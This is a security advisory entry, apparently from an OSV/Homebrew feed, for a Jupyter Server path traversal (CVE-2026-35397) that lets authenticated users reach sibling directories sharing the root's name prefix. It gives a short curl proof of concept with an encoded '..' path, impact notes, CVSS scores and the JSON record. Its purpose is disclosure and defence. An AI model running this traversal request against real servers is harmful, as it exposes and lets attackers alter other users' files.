BREW-JUPYTERLAB-CVE-2026-35397 (GHSA-5789-5FC7-67V3)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:01 – Updated: 2026-09-25 10:03 – Source website
VLAI
Summary
Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories
Details

Summary

Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.

PoC

Minimal:

.
├── test/              <- root directory.
│   └── test.txt
└── testtest/
    └── secret.txt     <- file to exfiltrate that we should not be able to access via API

HOST="http://localhost:8888"
TOKEN=""
SIBLING="testtest"
TARGET="secret.txt"

curl -s -X POST \
  "$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \
  -H "Authorization: token $TOKEN"

Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006

Impact

It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir. The attacker can escalate access, reading, writing, and deleting from sibling directories.

This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.

In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.

Workarounds

Use folder names that do not overlap.

Acknowledgments

Thank you to @stef41 for providing a useful PoC.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
7.6 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "jupyter-server",
        "resource_purl": "pkg:pypi/jupyter-server@2.21.1",
        "upstream_fixed_in": "2.18.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jupyterlab",
        "purl": "pkg:brew/jupyterlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.5.7_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/jupyter-server@2.21.1",
        "name": "jupyter-server",
        "resource": "jupyter-server",
        "strategy": "registry",
        "subject_version": "2.21.1"
      }
    ]
  },
  "details": "### Summary\n\nJupyter Server \u003c=2.17.0 can access directories sibling to the root directory, if it starts with the root dir\u0027s name.\n\n### PoC\n\nMinimal:\n\n```\n.\n\u251c\u2500\u2500 test/              \u003c- root directory.\n\u2502   \u2514\u2500\u2500 test.txt\n\u2514\u2500\u2500 testtest/\n    \u2514\u2500\u2500 secret.txt     \u003c- file to exfiltrate that we should not be able to access via API\n```\n\n```bash\nHOST=\"http://localhost:8888\"\nTOKEN=\"\"\nSIBLING=\"testtest\"\nTARGET=\"secret.txt\"\n\ncurl -s -X POST \\\n  \"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints\" \\\n  -H \"Authorization: token $TOKEN\"\n```\n\nFull PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006\n\n### Impact\n\nIt is possible for an authenticated user to access content outside the server\u0027s `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.\n\nThis can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.\n\nIn a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.\n\n### Workarounds\n\nUse folder names that do not overlap.\n\n### Acknowledgments\n\nThank you to @stef41 for providing a useful PoC.",
  "id": "BREW-jupyterlab-CVE-2026-35397",
  "modified": "2026-09-25T10:03:02Z",
  "published": "2026-08-13T17:01:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-5789-5fc7-67v3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35397"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:43038"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60520"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-35397"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter-server/jupyter_server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-68.yaml"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35397.json"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories",
  "upstream": [
    "GHSA-5789-5fc7-67v3",
    "CVE-2026-35397",
    "PYSEC-2026-68"
  ]
}



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